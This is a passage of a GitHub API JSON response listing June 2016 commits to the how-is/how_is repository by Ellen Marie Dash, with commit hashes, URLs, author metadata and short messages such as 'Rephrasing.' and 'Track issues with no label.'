report.","tree":{"sha":"991ab1f8b345be0d075207ff86c779d85a05eba6","url":"https://api.github.com/repos/how-is/how_is/git/trees/991ab1f8b345be0d075207ff86c779d85a05eba6"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/07ebf56028229f98c49b5ebd9bf1bbb10884d6f4","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/07ebf56028229f98c49b5ebd9bf1bbb10884d6f4","html_url":"https://github.com/how-is/how_is/commit/07ebf56028229f98c49b5ebd9bf1bbb10884d6f4","comments_url":"https://api.github.com/repos/how-is/how_is/commits/07ebf56028229f98c49b5ebd9bf1bbb10884d6f4/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"5b399b592d6f091aef5a7be1698a72d25212ee2d","url":"https://api.github.com/repos/how-is/how_is/commits/5b399b592d6f091aef5a7be1698a72d25212ee2d","html_url":"https://github.com/how-is/how_is/commit/5b399b592d6f091aef5a7be1698a72d25212ee2d"}]},{"sha":"5b399b592d6f091aef5a7be1698a72d25212ee2d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NWIzOTliNTkyZDZmMDkxYWVmNWE3YmUxNjk4YTcyZDI1MjEyZWUyZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-16T23:52:37Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-16T23:52:37Z"},"message":"map != select.","tree":{"sha":"f2f8a68129ce86fc2cf523fd2caff76923e8fe8e","url":"https://api.github.com/repos/how-is/how_is/git/trees/f2f8a68129ce86fc2cf523fd2caff76923e8fe8e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/5b399b592d6f091aef5a7be1698a72d25212ee2d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/5b399b592d6f091aef5a7be1698a72d25212ee2d","html_url":"https://github.com/how-is/how_is/commit/5b399b592d6f091aef5a7be1698a72d25212ee2d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/5b399b592d6f091aef5a7be1698a72d25212ee2d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"28648fcdd64d3fea8e2a650e65fd108fe76ba8f9","url":"https://api.github.com/repos/how-is/how_is/commits/28648fcdd64d3fea8e2a650e65fd108fe76ba8f9","html_url":"https://github.com/how-is/how_is/commit/28648fcdd64d3fea8e2a650e65fd108fe76ba8f9"}]},{"sha":"28648fcdd64d3fea8e2a650e65fd108fe76ba8f9","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Mjg2NDhmY2RkNjRkM2ZlYThlMmE2NTBlNjVmZDEwOGZlNzZiYThmOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-16T23:45:47Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-16T23:45:47Z"},"message":"Track issues with no label.","tree":{"sha":"8682ac99ea768c6503cec2ae24b9c40e3f895689","url":"https://api.github.com/repos/how-is/how_is/git/trees/8682ac99ea768c6503cec2ae24b9c40e3f895689"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/28648fcdd64d3fea8e2a650e65fd108fe76ba8f9","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/28648fcdd64d3fea8e2a650e65fd108fe76ba8f9","html_url":"https://github.com/how-is/how_is/commit/28648fcdd64d3fea8e2a650e65fd108fe76ba8f9","comments_url":"https://api.github.com/repos/how-is/how_is/commits/28648fcdd64d3fea8e2a650e65fd108fe76ba8f9/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"b56f464aecdefffb94b31ed9de6879569eeccb57","url":"https://api.github.com/repos/how-is/how_is/commits/b56f464aecdefffb94b31ed9de6879569eeccb57","html_url":"https://github.com/how-is/how_is/commit/b56f464aecdefffb94b31ed9de6879569eeccb57"}]},{"sha":"b56f464aecdefffb94b31ed9de6879569eeccb57","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YjU2ZjQ2NGFlY2RlZmZmYjk0YjMxZWQ5ZGU2ODc5NTY5ZWVjY2I1Nw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-16T23:42:35Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-16T23:42:35Z"},"message":"Remove unused pulls_with_label.","tree":{"sha":"20f8c8383d579026270ad187ddf6bc162dab8ccf","url":"https://api.github.com/repos/how-is/how_is/git/trees/20f8c8383d579026270ad187ddf6bc162dab8ccf"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/b56f464aecdefffb94b31ed9de6879569eeccb57","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/b56f464aecdefffb94b31ed9de6879569eeccb57","html_url":"https://github.com/how-is/how_is/commit/b56f464aecdefffb94b31ed9de6879569eeccb57","comments_url":"https://api.github.com/repos/how-is/how_is/commits/b56f464aecdefffb94b31ed9de6879569eeccb57/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"fb4bae1db94efefc6579fb814bd9f40ee534a7a2","url":"https://api.github.com/repos/how-is/how_is/commits/fb4bae1db94efefc6579fb814bd9f40ee534a7a2","html_url":"https://github.com/how-is/how_is/commit/fb4bae1db94efefc6579fb814bd9f40ee534a7a2"}]},{"sha":"fb4bae1db94efefc6579fb814bd9f40ee534a7a2","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZmI0YmFlMWRiOTRlZmVmYzY1NzlmYjgxNGJkOWY0MGVlNTM0YTdhMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-15T19:36:00Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-15T19:36:00Z"},"message":"Rephrasing.","tree":{"sha":"593ca1528d56fa1900ddbdfccf1df58198b16a5e","url":"https://api.github.com/repos/how-is/how_is/git/trees/593ca1528d56fa1900ddbdfccf1df58198b16a5e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/fb4bae1db94efefc6579fb814bd9f40ee534a7a2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/fb4bae1db94efefc6579fb814bd9f40ee534a7a2","html_url":"https://github.com/how-is/how_is/commit/fb4bae1db94efefc6579fb814bd9f40ee534a7a2","comments_url":"https://api.github.com/repos/how-is/how_is/commits/fb4bae1db94efefc6579fb814bd9f40ee534a7a2/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"f41abd3f98ab0c73422bd09aa176475e4e3d2980","url":"https://api.github.com/repos/how-is/how_is/commits/f41abd3f98ab0c73422bd09aa176475e4e3d2980","html_url":"https://github.com/how-is/how_is/commit/f41abd3f98ab0c73422bd09aa176475e4e3d2980"}]},{"sha":"f41abd3f98ab0c73422bd09aa176475e4e3d2980","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZjQxYWJkM2Y5OGFiMGM3MzQyMmJkMDlhYTE3NjQ3NWU0ZTNkMjk4MA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-15T19:35:41Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-15T19:35:41Z"},"message":"Correction.","tree":{"sha":"ff87831200d3d8faf157965342daf1dca38bfaf2","url":"https://api.github.com/repos/how-is/how_is/git/trees/ff87831200d3d8faf157965342daf1dca38bfaf2"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/f41abd3f98ab0c73422bd09aa176475e4e3d2980","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/f41abd3f98ab0c73422bd09aa176475e4e3d2980","html_url":"https://github.com/how-is/how_is/commit/f41abd3f98ab0c73422bd09aa176475e4e3d2980","comments_url":"https://api.github.com/repos/how-is/how_is/commits/f41abd3f98ab0c73422bd09aa176475e4e3d2980/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"f260f49809e0b64ce9de24a0338ddac211f33319","url":"https://api.github.com/repos/how-is/how_is/commits/f260f49809e0b64ce9de24a0338ddac211f33319","html_url":"https://github.com/how-is/how_is/commit/f260f49809e0b64ce9de24a0338ddac211f33319"}]},{"sha":"f260f49809e0b64ce9de24a0338ddac211f33319","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZjI2MGY0OTgwOWUwYjY0Y2U5ZGUyNGEwMzM4ZGRhYzIxMWYzMzMxOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-15T19:35:04Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-15T19:35:04Z"},"message":"Rephrasing.","tree":{"sha":"1d926c015d362e35ea834f2ba5ab2fa6b01cfc03","url":"https://api.github.com/repos/how-is/how_is/git/trees/1d926c015d362e35ea834f2ba5ab2fa6b01cfc03"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/f260f49809e0b64ce9de24a0338ddac211f33319","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/f260f49809e0b64ce9de24a0338ddac211f33319","html_url":"https://github.com/how-is/how_is/commit/f260f49809e0b64ce9de24a0338ddac211f33319","comments_url":"https://api.github.com/repos/how-is/how_is/commits/f260f49809e0b64ce9de24a0338ddac211f33319/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"116003e808bff1eb7bdc60714fe81a970915203e","url":"https://api.github.com/repos/how-is/how_is/commits/116003e808bff1eb7bdc60714fe81a970915203e","html_url":"https://github.com/how-is/how_is/commit/116003e808bff1eb7bdc60714fe81a970915203e"}]},{"sha":"116003e808bff1eb7bdc60714fe81a970915203e","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTE2MDAzZTgwOGJmZjFlYjdiZGM2MDcxNGZlODFhOTcwOTE1MjAzZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-15T19:34:17Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-15T19:34:17Z"},"message":"Rephrasing. (Again.)","tree":{"sha":"68c82e239ed0fe77c3a4bf5558f4931795d792ec","url":"https://api.github.com/repos/how-is/how_is/git/trees/68c82e239ed0fe77c3a4bf5558f4931795d792ec"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/116003e808bff1eb7bdc60714fe81a970915203e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/116003e808bff1eb7bdc60714fe81a970915203e","html_url":"https://github.com/how-is/how_is/commit/116003e808bff1eb7bdc60714fe81a970915203e","comments_url":"https://api.github.com/repos/how-is/how_is/commits/116003e808bff1eb7bdc60714fe81a970915203e/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"1a4ef2845bf577c27369dbff174d70bee6d3be73","url":"https://api.github.com/repos/how-is/how_is/commits/1a4ef2845bf577c27369dbff174d70bee6d3be73","html_url":"https://github.com/how-is/how_is/commit/1a4ef2845bf577c27369dbff174d70bee6d3be73"}]},{"sha":"1a4ef2845bf577c27369dbff174d70bee6d3be73","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MWE0ZWYyODQ1YmY1NzdjMjczNjlkYmZmMTc0ZDcwYmVlNmQzYmU3Mw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-15T19:33:47Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-15T19:33:47Z"},"message":"Rephrasing.","tree":{"sha":"caadb002b2eea621cb741d243a63d498cc00b855","url":"https://api.github.com/repos/how-is/how_is/git/trees/caadb002b2eea621cb741d243a63d498cc00b855"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/1a4ef2845bf577c27369dbff174d70bee6d3be73","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/1a4ef2845bf577c27369dbff174d70bee6d3be73","html_url":"https://github.com/how-is/how_is/commit/1a4ef2845bf577c27369dbff174d70bee6d3be73","comments_url":"https://api.github.com/repos/how-is/how_is/commits/1a4ef2845bf577c27369dbff174d70bee6d3be73/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"414fdfe4119984ed29e42f7f53e6225239d7c119","url":"https://api.github.com/repos/how-is/how_is/commits/414fdfe4119984ed29e42f7f53e6225239d7c119","html_url":"https://github.com/how-is/how_is/commit/414fdfe4119984ed29e42f7f53e6225239d7c119"}]},{"sha":"414fdfe4119984ed29e42f7f53e6225239d7c119","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NDE0ZmRmZTQxMTk5ODRlZDI5ZTQyZjdmNTNlNjIyNTIzOWQ3YzExOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-15T19:32:57Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-15T19:32:57Z"},"message":"Missing word.","tree":{"sha":"d97f609601cd6194ccd1ecad5eded7c25551546f","url":"https://api.github.com/repos/how-is/how_is/git/trees/d97f609601cd6194ccd1ecad5eded7c25551546f"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/414fdfe4119984ed29e42f7f53e6225239d7c119","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/414fdfe4119984ed29e42f7f53e6225239d7c119","html_url":"https://github.com/how-is/how_is/commit/414fdfe4119984ed29e42f7f53e6225239d7c119","comments_url":"https://api.github.com/repos/how-is/how_is/commits/414fdfe4119984ed29e42f7f53e6225239d7c119/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"a08aff1ca6b4bbfb784c4ce77d3fe9c9fb8f43f5","url":"https://api.github.com/repos/how-is/how_is/commits/a08aff1ca6b4bbfb784c4ce77d3fe9c9fb8f43f5","html_url":"https://github.com/how-is/how_is/commit/a08aff1ca6b4bbfb784c4ce77d3fe9c9fb8f43f5"}]},{"sha":"a08aff1ca6b4bbfb784c4ce77d3fe9c9fb8f43f5","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YTA4YWZmMWNhNmI0YmJmYjc4NGM0Y2U3N2QzZmU5YzlmYjhmNDNmNQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-15T19:32:02Z"},"committer":{"name":"Ellen Marie 